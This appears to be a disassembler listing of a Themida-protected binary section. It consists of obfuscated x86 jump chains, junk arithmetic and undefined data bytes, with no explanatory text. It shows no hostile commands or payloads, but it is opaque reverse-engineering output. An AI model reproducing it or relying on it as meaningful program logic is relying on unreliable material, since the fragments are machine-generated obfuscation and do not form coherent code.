XREF: Themida_:0053BAB5j pop edx push 5F28h mov [esp], ebp jmp loc_540CF5 ; --------------------------------------------------------------------------- dw 0C87h dd 0E9515C24h, 0FFFFE055h, 517AB551h, 0FFF0ECE9h db 0FFh ; --------------------------------------------------------------------------- loc_53EBE1: ; CODE XREF: Themida_:0053580Ej xor esi, 6A2B2FF3h push eax mov eax, 0C1457BAh jmp loc_540DB3 ; --------------------------------------------------------------------------- loc_53EBF2: ; CODE XREF: Themida_:0053FA8Fj push edi jmp loc_53D2B9 ; --------------------------------------------------------------------------- dd 25DC4BDh, 0F5814526h, 192F3EA0h, 2C8BEF01h, 4C48324h dd 6DBE9h, 0B30F6600h, 0E99C2404h, 0FFFF6747h, 4BEh, 5EF70100h dd 0FFFCEFE9h db 0FFh ; --------------------------------------------------------------------------- loc_53EC29: ; CODE XREF: Themida_:0053BF24j not edx neg edx and edx, 155E574Dh dec edx sub edx, 0CF38EABBh or edi, edx pop edx jmp loc_53D319 ; --------------------------------------------------------------------------- loc_53EC42: ; CODE XREF: Themida_:0053FE51j add esp, 4 xor ebx, eax jmp loc_535977 ; --------------------------------------------------------------------------- db 5Fh dd 0FFB47BE9h, 8BFE89FFh, 0C483243Ch, 9B99E904h, 6853FFFFh dd 7E65h, 89243489h, 4C681E6h, 83000000h, 0FF5604EEh, 8B042474h dd 0C4812434h, 4, 0E924048Fh, 0FFFF73F8h ; --------------------------------------------------------------------------- loc_53EC8C: ; CODE XREF: Themida_:0053AA7Cj mov ecx, ebp jmp loc_536681 ; --------------------------------------------------------------------------- loc_53EC93: ; CODE XREF: Themida_:00540AABj push ebp mov ebp, 0FFFFFFFFh add eax, ebp pop ebp push 784Bh mov [esp], edx jmp loc_540BD4 ; --------------------------------------------------------------------------- db 81h, 0F3h, 2 dd 4B3F587Ah, 0FF8ECDE9h, 7224B8FFh, 0C731AFE4h, 8BFE3158h dd 89E9243Ch, 58000021h, 55595451h, 307524BDh, 86A6E904h dd 433FFFFh, 24248B24h, 0BB241C89h, 4DD678C7h, 74C7BD55h dd 3AE94DD6h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53ECEF: ; CODE XREF: Themida_:00539670j push 2276326Bh pop ebp jmp loc_53EB37 ; --------------------------------------------------------------------------- dw 0C89h aHp@ db '$h@',0 align 2 dw 489h dd 6EB4E924h, 8158FFFFh, 9DF8B8EAh, 0D6C1812Dh, 2946432Bh dd 0D6E981D1h, 5A46432Bh, 8EE9CE01h, 59FFFF79h, 518BF780h dd 34E9FD88h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53ED33: ; CODE XREF: Themida_:00538BFAj add edi, eax pop eax sub ebp, edi jmp loc_538CA4 ; --------------------------------------------------------------------------- loc_53ED3D: ; CODE XREF: Themida_:005380DAj xchg esi, [esp] pop esp add esp, 4 push 725Ah jmp loc_53B023 ; --------------------------------------------------------------------------- word_53ED4E dw 0F66h ; DATA XREF: Themida_:00535248o dd 80E902B6h, 87FFFFECh, 248B2404h, 8345E924h, 0EBC1FFFFh dd 0CAC38107h, 8103FE06h, 0F45BB2CBh, 6EBC136h, 0AD94EB81h dd 0DF29FE67h, 0FEC7815Bh, 814D8428h, 9437B9EFh, 0E9C3581Dh dd 0FFFF65D3h, 0E30749BEh, 0F181E969h, 0BF57FFFFh, 60531191h dd 0FF7BA2E9h, 50FFBFFFh, 0EF814A75h, 0F933ACFh, 2519E9h dd 5DE82900h, 0FFEEA2E9h db 0FFh ; --------------------------------------------------------------------------- loc_53EDBD: ; CODE XREF: Themida_:0053C3CFj neg al jmp loc_53BC0D ; --------------------------------------------------------------------------- dd 5176F581h, 0EB210302h, 9CEB815Dh, 1000128h, 0B8E95BDFh db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53EDDB: ; CODE XREF: Themida_:0053D502j mov eax, [esp] add esp, 4 jmp loc_53EB9F ; --------------------------------------------------------------------------- db 4Bh, 0E9h, 73h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EDEF: ; CODE XREF: Themida_:0053CEE5j push 2295h mov [esp], esi mov esi, esp push ebp jmp loc_535F68 ; --------------------------------------------------------------------------- db 8Bh dd 24D22424h, 58E99C24h, 5FFFFF65h, 4C781h, 0A4E90000h db 0C6h, 2 dup(0FFh) byte_53EE17 db 8Bh ; DATA XREF: Themida_:00535190o dd 44E92424h db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EE1F: ; CODE XREF: Themida_:0053C8E8j push edi jmp loc_53EB0E ; --------------------------------------------------------------------------- db 89h, 0D1h, 5Ah dd 0C981415Eh, 26AC429Fh, 4BF5741h, 312EFE70h, 7ADFE9F9h db 2 dup(0FFh) word_53EE3E dw 48Bh ; DATA XREF: Themida_:00535288o dd 0EC835324h, 24248904h, 4240481h, 5B000000h, 7C1CE956h db 2 dup(0FFh) word_53EE56 dw 8B66h ; DATA XREF: Themida_:00535304o dd 0EC81240Ch, 4, 0E9242C89h, 0FFFF75E6h, 0E820F1B5h, 0B6526659h dd 66F0207Bh, 975CE95Ah, 2C8BFFFFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5384F9 ; --------------------------------------------------------------------------- db 0BEh dd 4, 0FF799AE9h db 0FFh ; --------------------------------------------------------------------------- loc_53EE95: ; CODE XREF: Themida_:0054118Cj xchg ecx, [esp] pop esp jmp loc_53965C ; --------------------------------------------------------------------------- dw 34FFh dd 242C8B24h, 81E18951h, 4C1h, 4C18300h, 0FF9FAFE9h, 240433FFh dd 0FF65C9E9h, 4BEFFh, 74010000h, 348B0424h, 4C48124h dd 59000000h, 21D1E9h, 5BDD0100h, 8B242C87h, 0D3662424h dd 0E99C2424h, 0FFFF647Bh ; --------------------------------------------------------------------------- loc_53EEE8: ; CODE XREF: Themida_:005369F8j push ecx push esp mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5393B4 ; --------------------------------------------------------------------------- loc_53EF05: ; CODE XREF: Themida_:0053A5FAj push dword ptr [esp] push dword ptr [esp] pop ebx push edi jmp loc_539E44 ; --------------------------------------------------------------------------- dw 0F328h dd 0FFBAFCE9h, 243C89FFh, 0CDE95F54h, 29FFFFE9h, 148B5FFDh dd 4C48324h, 2474FF55h, 48F5D04h, 24248B24h, 9C2404FEh dd 0FF6422E9h, 0E0C181FFh, 29A6E9F5h, 31C831C1h, 59C831C1h dd 0B105D8F7h, 0D380B69h, 6A4A7C96h, 0FFDB6FE9h, 405FFh dd 0BE560000h, 4, 46E9F001h db 3 dup(0) ; --------------------------------------------------------------------------- loc_53EF73: ; CODE XREF: Themida_:0053E8F5j xor edi, 84051C4h add ecx, edi pop edi jmp loc_54032E ; --------------------------------------------------------------------------- loc_53EF81: ; CODE XREF: Themida_:00536659j mov ebx, [esp] jmp loc_5402CD ; --------------------------------------------------------------------------- loc_53EF89: ; CODE XREF: Themida_:0053E521j add esp, 4 push esi push 6944796Dh pop esi shr esi, 8 jmp loc_5396CB ; --------------------------------------------------------------------------- loc_53EF9B: ; CODE XREF: Themida_:00537EB2j push 524Bh jmp loc_53AED5 ; --------------------------------------------------------------------------- db 51h, 52h, 0B6h dd 28E3B591h, 282EE9F5h, 0D0280000h, 0FFE54EE9h, 4335EFFh dd 24043124h, 0FF6D74E9h, 4FE95AFFh db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EFCB: ; CODE XREF: Themida_:00539BC1j pop edi sub eax, 2CB73268h inc eax not eax add eax, 256F3575h jmp loc_536ADC ; --------------------------------------------------------------------------- dw 8958h dd 2EE95BDEh, 89FFFF9Bh, 0D1015BDAh, 0FF6932E9h db 0FFh ; --------------------------------------------------------------------------- loc_53EFF1: ; CODE XREF: Themida_:00536E4Aj mov ebp, 497C3A59h add ebp, 521915A1h neg ebp shl ebp, 1 xor ebp, 605024Bh jmp loc_53F930 ; --------------------------------------------------------------------------- db 0BFh dd 4, 0A8BA5251h, 89144B5Ah, 7097E9D1h, 8159FFFFh, 5CE600EEh dd 0F3E9812Fh, 81076D02h, 0A23CF5C1h, 81F10166h, 0A23CF5E9h dd 0F3C18166h, 0E9076D02h, 0FFFF7176h, 0E956E789h, 0FFFFFBD0h dd 231BB951h, 0BD554DE4h, 75454078h, 49E9E929h db 0B7h, 2 dup(0FFh) byte_53F05F db 8Bh ; DATA XREF: Themida_:005352ACo dd 0EC812404h, 4, 83240C89h, 6E904ECh, 56FFFF8Dh, 982973BEh dd 0E9D6F72Bh, 0FFFF9E8Eh ; --------------------------------------------------------------------------- loc_53F080: ; CODE XREF: Themida_:005402DBj pop ebp push edi jmp loc_53B91D ; --------------------------------------------------------------------------- db 0BBh dd 4, 4245C01h, 241C8B5Bh, 4C481h, 0C3810000h, 4, 0FFF4E2E9h dd 8D568FFh, 34890000h, 16824h, 34FF0000h, 72685E24h, 89000016h dd 5EE9243Ch, 8100001Bh, 4C4h, 0F8305800h, 266BE9h db 0 ; --------------------------------------------------------------------------- loc_53F0D1: ; CODE XREF: Themida_:00540D83j mov edx, 5F257C69h xor edx, 2E4036AEh and edx, 4EFD4474h xor edx, 7E95662Eh and ebp, edx pop edx add ebp, 2ADDF662h xor ebx, ebp pop ebp sub eax, 252E7CFFh sub eax, ebx add eax, 252E7CFFh pop ebx push edx mov edx, 3A491E96h jmp loc_53A1FE ; --------------------------------------------------------------------------- dd 6E7AE951h, 0E589FFFFh, 0FF79BDE9h, 0D0895CFFh, 5A2434FFh dd 4C481h, 3C8B0000h, 4C48124h, 0E9000000h, 0FFFF622Fh dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0E9Fh ; --------------------------------------------------------------------------- loc_53F148: ; CODE XREF: Themida_:005390B4j xor eax, ecx push 2B06h mov [esp], eax xchg edx, [esp] not edx xchg edx, [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_53E70A ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 0C8B665Ch, 5C8D6824h, 4890000h, 24E95424h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F17B: ; CODE XREF: Themida_:0053FF27j push small 0 sub [esp], bl mov bl, [esp] add esp, 2 shl bl, 1 and bl, 0A2h push eax jmp loc_53D425 ; --------------------------------------------------------------------------- db 0FFh dd 0E95E2434h, 61Fh, 8B24248Bh, 80E92404h, 5FFFFD5h, 4 dd 405h, 0EA1CE900h db 2 dup(0FFh) word_53F1B6 dw 0FF64h ; DATA XREF: Themida_:00535274o dd 61A5E932h, 0EC83FFFFh, 0D65CE904h, 0BB68FFFFh, 89000060h dd 0BB532434h, 33C6229Fh, 1FA1F381h, 0D3F755D2h, 0FF9B62E9h dd 243487FFh, 24048F5Ch, 0E930FF5Ch, 0FFFF6173h, 81E78957h dd 4C7h, 4C78100h, 87000000h, 0D0E9243Ch, 89FFFF83h, 69E9243Ch dd 5CFFFFB5h, 54243489h, 4C6815Eh, 53000000h, 293242BBh dd 0BAEFE95Bh, 0E952FFFFh, 0FFFF85EEh ; --------------------------------------------------------------------------- loc_53F22C: ; CODE XREF: Themida_:0053C0FDj xor [esp], ebx jmp loc_5394DC ; --------------------------------------------------------------------------- dword_53F234 dd 207F83ADh, 1840F00h, 81FFFF68h, 0C82662C6h, 4CC68171h ; DATA XREF: Themida_:005350B8o dd 1647A66h, 4CEE81C6h, 0E9647A66h, 0FFFFBDA9h, 5D88B850h dd 7CBD1C6Ch, 1E393A2h, 0EA8958C5h, 79C7815Dh, 1652948h dd 79EF81D7h, 8B652948h, 0C4812414h, 4, 8B243C87h, 0F1F72424h dd 0A0E68h, 9B51E900h, 0C681FFFFh, 1, 35EEE81h, 0E94E4EE1h dd 20Bh, 679D22B9h, 8BCE3185h, 0C483240Ch, 0C940E904h dd 3168FFFFh, 0E900000Dh, 0FFFF7E1Fh, 0E9240C31h, 0FFFF81E4h dd 2BD5553h, 55000000h, 0CC25E95Bh, 88E9FFFFh, 8BFFFF60h dd 0E957242Ch, 0FFFFBE69h ; --------------------------------------------------------------------------- loc_53F2E4: ; CODE XREF: Themida_:00540148j add ecx, eax pop eax jmp loc_53608B ; --------------------------------------------------------------------------- dd 2198EF81h, 0C8B1F51h, 4C48324h, 8B243C87h, 0D3662424h dd 0E99C2404h, 0FFFF605Bh, 592434FFh, 4C481h, 0EB800000h dd 0E6895683h, 4C681h, 0EE830000h, 71B8E904h, 2005FFFFh dd 5A645B6Dh, 3750E52Dh, 0D1A5E903h, 5066FFFFh, 0C600FFB0h dd 0C6805866h, 0B6526670h, 0BCEB80C8h, 0C380F328h, 5A66BCh dd 0C8C380F3h, 8124148Bh, 4C4h, 7372E900h, 15AFFFFh, 3FBB53F8h dd 0E942F641h, 0FFFFA49Ch, 0E9EA8958h, 1D4Dh, 59CDF381h dd 0DE29681Bh, 81C6015Bh, 923C2CC6h, 24048B6Ah, 7EE9h dd 4C48100h, 81000000h, 4C4h, 0DABD5500h, 0C170684Eh, 0F58107E5h dd 34276D04h, 8A09A12Dh, 5E80101h, 18A09A1h, 0E9242C8Bh dd 0FFFF842Ah, 8104E1C1h, 0FFF104C1h, 59CA018Eh, 8B241487h dd 13E92424h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F3D7: ; CODE XREF: Themida_:005406A1j mov esi, 355757D7h not esi xor esi, 0B6CE89BCh add eax, 73926E5Dh add eax, 500A490Ch add eax, 6F766856h sub eax, esi sub eax, 6F766856h push esi mov esi, 500A490Ch jmp loc_5381A7 ; --------------------------------------------------------------------------- loc_53F405: ; CODE XREF: Themida_:0053CCF3j push esi push dword ptr [esp+4] jmp loc_53C494 ; --------------------------------------------------------------------------- db 83h dd 0C68304C4h, 762DE902h, 0A0B9FFFFh, 0E9702B6Dh, 0FFFFC02Ch dd 2BDh, 960FE900h, 5158FFFFh, 0FFB886E9h, 2434FFFFh, 4C4815Bh dd 81000000h, 4C3h, 48846800h, 5AE90000h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F44F: ; CODE XREF: Themida_:0053D2C9j add esp, 4 push ecx mov ecx, esp jmp loc_541180 ; --------------------------------------------------------------------------- dw 0E831h dd 5D2434FFh, 4C481h, 0F7680000h, 89000065h, 0AABF243Ch dd 0C156B56Ch, 0EFC108EFh, 0B6A0E904h, 5556FFFFh, 0C20F90BDh dd 3EDC146h, 88A1E951h, 4BBFFFFh, 0E9000000h, 0FFFFD4BCh ; --------------------------------------------------------------------------- loc_53F498: ; CODE XREF: Themida_:0053E2C6j shl edi, 4 add edi, 5F17FF4h jmp loc_53B350 ; --------------------------------------------------------------------------- dw 1431h dd 61E95824h, 81000003h, 1922EAEEh, 9C8AE96Ch, 0C083FFFFh dd 24043304h, 33240431h, 815C2404h, 486FC4C2h, 0EDEA8176h dd 8115F857h, 5F59C6EAh, 81C20171h, 5F59C6C2h, 84F1E971h dd 0C183FFFFh, 1DFE904h, 0F1800000h, 59C83068h, 0B60FC330h dd 0E957E9C0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F4FE: ; CODE XREF: Themida_:00538201j add esi, 4 xor esi, [esp] jmp loc_53D1B3 ; --------------------------------------------------------------------------- dd 4DF4C181h, 0CB01B17Ah, 243C8B59h, 5304C483h, 1926B951h dd 0C18127D9h, 596E445Eh, 0C98149h, 0C16E604Dh, 0F18102E9h dd 1B28D095h, 0F759CB89h, 4EBC1DBh, 0F708EBC1h, 7C1EE9DBh dd 1487FFFFh, 24248B24h, 24048B66h, 81E28952h, 4C2h, 4EA8100h dd 87000000h, 248B2414h, 24048924h, 0FF8E98E9h, 0E9F001FFh dd 0FFFF6B47h dword_53F578 dd 240C8B66h, 4EC81h, 0FCE90000h, 81FFFF9Ah, 1012FDEBh ; DATA XREF: Themida_:0053521Co dd 0FEE95368h, 81FFFF91h, 5A2F2DC1h, 8FE95338h, 81FFFFABh dd 4ECh, 241C8900h, 39BE9h, 0E9F82900h, 0FFFF8CF9h, 8609C4BBh dd 0F1EB8168h, 0E96E317Fh, 0FFFFBC91h, 24048F59h, 0FFC19BE9h db 0FFh ; --------------------------------------------------------------------------- loc_53F5CD: ; CODE XREF: Themida_:00536AFEj pop ebx shl cl, 3 push ax jmp loc_536FDA ; --------------------------------------------------------------------------- dd 6668C801h, 8900006Fh, 0C6BF243Ch, 106C51Eh, 332D5FF8h dd 2D0EF616h, 2D402F80h, 52240C8Bh, 0C281E289h, 4, 0E904C283h dd 0FFFF77AEh, 0BB241C89h, 3FCh, 722CC781h, 0DF017712h dd 0FBA8E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F61E: ; CODE XREF: Themida_:00536FE8j sub dh, 87h jmp loc_53BA81 ; --------------------------------------------------------------------------- dw 3C89h dd 0F777E924h, 0EC81FFFFh, 4, 88240C89h, 59EC88F5h, 6EB3E95Ah dd 0DEF7FFFFh, 57A1EE81h, 0F129BECEh, 81D1015Eh, 0FB39F5C1h dd 0A56CE931h db 2 dup(0FFh) word_53F65A dw 8B66h ; DATA XREF: Themida_:005352D8o dd 83572404h, 248904ECh, 24048124h, 4, 0FFDAEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_53F671: ; CODE XREF: Themida_:0053615Fj pop eax and dh, 0B9h not dh push small 0 sub [esp], dh jmp loc_53FEF6 ; --------------------------------------------------------------------------- db 28h dd 0ED045BF8h, 2858C630h, 45E95AF0h, 2DFFFFF5h, 838FC7E0h dd 0ECE9C301h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F69F: ; CODE XREF: Themida_:0053B1CAj add edi, 4 add edi, 2 xchg edi, [esp] pop esp push edx mov dh, 0E2h inc dh shr dh, 6 push bx mov bh, dh jmp loc_53E3B6 ; --------------------------------------------------------------------------- dd 0BD554E5Ah, 5B640A94h, 0FFD933E9h, 240C87FFh, 524248Bh dd 4, 6802C083h, 5476h, 0FF240489h, 58042474h, 0E924048Fh dd 0FFFF66E2h, 5C62F181h, 0F1810E28h, 75752A18h, 0DE20E951h dd 0E589FFFFh, 0FFE8A5E9h, 5C55E9FFh, 0F8B8FFFFh, 356FF152h dd 36101A89h, 10A642Dh, 0CD51E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F722: ; CODE XREF: Themida_:0053A08Cj pop ebx sub ebx, 44094E1Ah jmp loc_535C0B ; --------------------------------------------------------------------------- dd offset byte_53BA68 dw 8900h dd 0C2882414h, 148BD188h, 4C48124h, 52000000h, 3CE9CA88h dd 89FFFF65h, 82B42404h, 0E4D0DCF6h, 0CDE9DCF6h, 55FFFFD7h dd 0FFDF82E9h, 240487FFh, 8924248Bh, 4B82404h, 1000000h dd 2C3358C5h, 242C3124h, 0E9242C33h, 0FFFF9C7Ah ; --------------------------------------------------------------------------- loc_53F780: ; CODE XREF: Themida_:005407B2j mov dl, 0DAh sub dl, 0FFh or dl, 0F2h jmp loc_5360E3 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 0FFD1BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_53F7A5: ; CODE XREF: Themida_:00538EDAj xchg ebx, [esp] pop esp push edi mov edi, 6411547Ch xor eax, edi pop edi push dword ptr [esp] pop ecx jmp loc_536757 ; --------------------------------------------------------------------------- db 83h dd 0C68104C4h, 4, 0C46E9h, 81E58900h, 4C5h, 2685100h, 59000000h dd 23E9CD29h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F7DF: ; CODE XREF: Themida_:00536C44j ; Themida_:00536CBAj ... push 1CCFh mov [esp], ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_53A88E ; --------------------------------------------------------------------------- dw 0C801h dd 4BBB5359h, 0E90E7A0Bh, 0FFFF5C6Ah ; --------------------------------------------------------------------------- loc_53F808: ; CODE XREF: Themida_:00539B03j pop ebp add ebp, esi jmp loc_5366AA ; --------------------------------------------------------------------------- dd 1BD55h, 0E8210000h, 0FFC196E9h db 0FFh byte_53F81D db 0FFh, 74h, 24h ; DATA XREF: Themida_:005350D4o dd 2434FF04h, 1A3E9h, 242C8900h, 4BDh, 0E9E80100h, 1A3h dd 2721BD55h, 0A2E93EEEh, 0FFFFFF74h, 5A042474h, 1D76E9h db 0 ; --------------------------------------------------------------------------- loc_53F84D: ; CODE XREF: Themida_:0054136Bj add esp, 4 push ebx mov ebx, esp push esi mov esi, 60982DFCh add esi, 7DC0775h xor esi, 68743575h add ebx, esi pop esi jmp loc_53CFF4 ; --------------------------------------------------------------------------- db 58h, 28h, 0F8h dd 241C8B66h, 0FFC49CE9h, 4EC83FFh, 0E9240489h, 0FFFFB9A9h dd 0E9D90166h, 64Bh, 5750E789h, 454FC5BFh, 8BF88932h, 98E9243Ch dd 50FFFF94h, 8A6A65B8h, 58C38924h, 5E5BD801h, 8A0F0805h dd 1191E978h, 0C4830000h, 8BF10104h, 0C4812434h, 4, 2C181h dd 0C870000h, 5EDFE924h, 0C183FFFFh, 240C8704h, 0F72C5Ch dd 66F704C8h, 68C33059h, 64FAh, 0FFFD1BE9h, 2A7E35FFh dd 0D8F721DCh, 0D4FD3E2Dh, 58C62980h, 0C681EE01h, 73164573h dd 6A652D5Dh, 5AE9248Ah db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F90F: ; CODE XREF: Themida_:0053E1F0j shl esi, 8 xor esi, 4E55E304h add ebx, esi pop esi add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_53C981 ; --------------------------------------------------------------------------- loc_53F930: ; CODE XREF: Themida_:0053F006j add ebp, 7947E40Bh xor eax, ebp jmp loc_539BC0 ; --------------------------------------------------------------------------- db 29h, 0C3h, 58h dd 0E95BDA01h, 1688h, 5550E389h, 0B0366EBDh, 15FAE967h db 2 dup(0) word_53F956 dw 4ACh ; DATA XREF: Themida_:005352D0o dd 0AC6866E9h, 0C89664Eh, 91B124h, 0A439E9C8h, 0F201FFFFh dd 5324348Bh, 0C381E389h, 4, 8704C383h, 565C241Ch, 1C51E9h dd 0D5C78100h, 893BB662h, 0DC85E9FAh, 0C281FFFFh, 707C43CAh dd 2042BF57h, 0ECE91FABh, 0F7FFFFD0h, 1AED81D5h, 3181E585h dd 0CE815DEEh, 2A802808h, 0BB53h, 0F3290000h, 0F75BDE89h dd 4EC81D6h, 0E9000000h, 0FFFFB421h, 9D685658h, 89000026h dd 3DE92424h, 5DFFFF5Ah, 31240433h, 4332404h, 78E95C24h dd 0F7FFFF59h, 0CD8145D5h, 616D5EE8h, 0FF7F1FE9h db 0FFh ; --------------------------------------------------------------------------- loc_53F9F9: ; CODE XREF: Themida_:0053B9D4j sub esp, 4 mov [esp], edx push ebp mov ebp, 73DB00EAh push ebp jmp loc_540021 ; --------------------------------------------------------------------------- dw 0C89h dd 7AF4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FA16: ; CODE XREF: Themida_:0053A508j xor eax, ebx pop ebx sub ebx, 0E5B3092h sub ebx, 2D725AF3h jmp loc_540551 ; --------------------------------------------------------------------------- dw 34E9h dd 81FFFF59h, 0A362DF2h, 9BC681C1h, 8127EC6Ch, 3C23B1EEh dd 81D60129h, 3C23B1C6h, 6E0CE929h, 0EE81FFFFh, 8310B1Ah dd 0FFF1015Dh, 835E2434h, 0C18304C4h, 240C3304h, 33240C31h dd 19E9240Ch, 8B000013h, 0C483243Ch, 4C48104h, 0E9000000h dd 0FFFFD404h ; --------------------------------------------------------------------------- loc_53FA80: ; CODE XREF: Themida_:0053617Bj pop esp mov edx, [esp] add esp, 4 and ecx, esi jmp loc_53A32A ; --------------------------------------------------------------------------- loc_53FA8E: ; CODE XREF: Themida_:0053BA2Fj pop ebx jmp loc_53EBF2 ; --------------------------------------------------------------------------- loc_53FA94: ; CODE XREF: Themida_:00536C29j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push esi jmp loc_53AE39 ; --------------------------------------------------------------------------- dword_53FAA4 dd 2D8968h, 242C8900h, 4EC81h, 24890000h, 24048124h, 4 ; DATA XREF: Themida_:00535250o dd 0FFDA89E9h, 2474FFFFh, 48F5B04h, 24248B24h, 0F66E1F6h dd 6868CCB6h, 89000030h, 0FB68240Ch, 5400001Fh, 6824048Fh dd 2106h, 0E9243C89h, 0FFFFF51Bh dword_53FAF0 dd 0FF3C77FFh, 68582434h, 35EDh, 54240C89h, 592434FFh ; DATA XREF: Themida_:0053523Co dd 8104C483h, 4C1h, 0A2BF5700h, 0E930F33Bh, 0FFFFA20Eh ; --------------------------------------------------------------------------- loc_53FB18: ; CODE XREF: Themida_:005365B5j jmp loc_53A70D ; --------------------------------------------------------------------------- db 1, 5Ch, 24h dd 72E95B04h, 0FEFFFFBCh, 0C04C0CC8h, 6F6808E0h, 0E9000059h dd 1042h, 5004C083h, 42474FFh, 24048F58h, 8FEF815Ch, 0E92D193Bh dd 0FFFFE2D4h, 12E95358h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FB57: ; CODE XREF: Themida_:0053C860j mov ebx, 6596284h jmp loc_536517 ; --------------------------------------------------------------------------- loc_53FB61: ; CODE XREF: Themida_:0053AFBFj or dh, 1Bh xor dh, 50h push ebx mov bh, 6 push dx mov dl, 5Ch add bh, 90h add bh, dl sub bh, 90h pop dx sub bh, 0E4h sub bh, 1 push dx push eax mov ah, 45h mov dh, ah pop eax sub bh, dh mov dx, [esp] add esp, 2 or dh, bh pop ebx push eax mov ah, 45h shr ah, 2 not ah add ah, 6Dh xor dh, ah jmp loc_53ACA1 ; --------------------------------------------------------------------------- dd 9CC83B66h, 0FF57B6E9h, 0D1C209FFh, 8EE952E2h, 52FFFFADh dd 157165BAh, 0D2F7420Ch, 0EA81E2D1h, 0E7D51D30h, 83E9D389h dd 8BFFFF7Fh, 0C481241Ch, 4, 8B240487h, 8B662424h, 0FDE92404h dd 0BFFFFF8Ah, 400C595Eh, 0FFC8BFE9h, 72ED81FFh, 1545B05h dd 0EC835DE8h, 0FC27E904h, 315FFFFFh, 0E48DE9FAh, 0EFB2FFFFh dd 34FFD000h, 0C4835A24h, 0B6526604h, 66F0006Ah, 0E1E95Ah dd 0DBF70000h, 3875F381h, 0C3815026h, 0E7F8E58Bh, 1C8BDE01h dd 4C48124h, 0E9000000h, 12C7h, 7CA8C381h, 0FB016D6Eh dd 7CA8EB81h, 0E95F6D6Eh, 1075h ; --------------------------------------------------------------------------- loc_53FC54: ; CODE XREF: Themida_:00537BA1j sub esp, 4 mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] jmp loc_538666 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFBAD5E9h db 0FFh byte_53FC71 db 81h, 0ECh, 4 ; DATA XREF: Themida_:0053519Co dd 89000000h, 0E9522404h, 0FFFF98D2h, 0A5E9E289h, 89FFFF95h dd 9BB42404h, 0FFE41FE9h, 5AD520FFh, 8005E5C0h, 0EB0027F5h dd 0C0B60F59h, 0FF8734FFh, 53582434h, 0C381E389h, 4, 5304EB83h dd 0FFD9FCE9h db 0FFh ; --------------------------------------------------------------------------- loc_53FCB9: ; CODE XREF: Themida_:00535773j mov edx, [esp] jmp loc_53B378 ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 2 dd 10AEF381h, 0C381444Ch, 26A02CA0h, 7EB85043h, 0E97E5182h dd 0FFFFFC61h, 0BF575250h, 8A1B65h, 6AD3C781h, 0F9E929ECh dd 81FFFF98h, 4C4h, 0B13E900h, 895C0000h, 0ABE9241Ch, 1 dd 2C6A2CC8h, 665966EFh, 66187F68h, 68241489h, 5C4Dh, 0FFFA2EE9h db 0FFh ; --------------------------------------------------------------------------- loc_53FD1D: ; CODE XREF: Themida_:00539160j add esp, 4 add ebx, 4 xchg ebx, [esp] pop esp and ecx, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_53C765 ; --------------------------------------------------------------------------- loc_53FD3B: ; CODE XREF: Themida_:00539A20j pop edi pop esi movzx ax, byte ptr [eax] push edx sub esp, 4 jmp loc_540DAB ; --------------------------------------------------------------------------- loc_53FD4A: ; CODE XREF: Themida_:0053BADCj mov [esp], ebp sub esp, 4 mov [esp], edi mov edi, 585F75BEh jmp loc_53BF1B ; --------------------------------------------------------------------------- dd 58DDEB81h, 0D3295ABCh, 58DDC381h, 7CE95ABCh, 29FFFFB8h dd 689E68D8h, 2C890000h, 59E95124h db 8Fh, 2 dup(0FFh) byte_53FD83 db 0ADh ; DATA XREF: Themida_:00535270o dd 0FFE93CE9h, 242489FFh, 4240483h, 0FFEDE9E9h db 0FFh ; --------------------------------------------------------------------------- loc_53FD95: ; CODE XREF: Themida_:005356AFj push eax jmp loc_53C532 ; --------------------------------------------------------------------------- loc_53FD9B: ; CODE XREF: Themida_:005404DDj mov eax, 79D9266Ah jmp loc_539F0A ; --------------------------------------------------------------------------- byte_53FDA5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00535184o aH@ db '$h\@',0 align 2 dw 81E9h dd 81FFFF8Ch, 0BC7479CBh, 24E9555Bh, 81FFFF85h, 337F7AC2h dd 0C1D2F70Ch, 0F28103EAh, 1B69DA67h, 835AD001h, 0FF5004E8h dd 58042474h, 8B24048Fh, 21E92424h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53FDE7: ; CODE XREF: Themida_:00535EB9j mov [esp], ebp mov ebp, 17B0058Bh add ebp, 293F25FEh inc ebp add ebp, 1C9C26E2h push 3421h mov [esp], ebx push 0E5D08B3h pop ebx jmp loc_53B752 ; --------------------------------------------------------------------------- db 83h dd 248904ECh, 24048324h, 0EC815D04h, 4, 0B8240489h, 4 dd 0FFE9C501h db 0F5h, 2 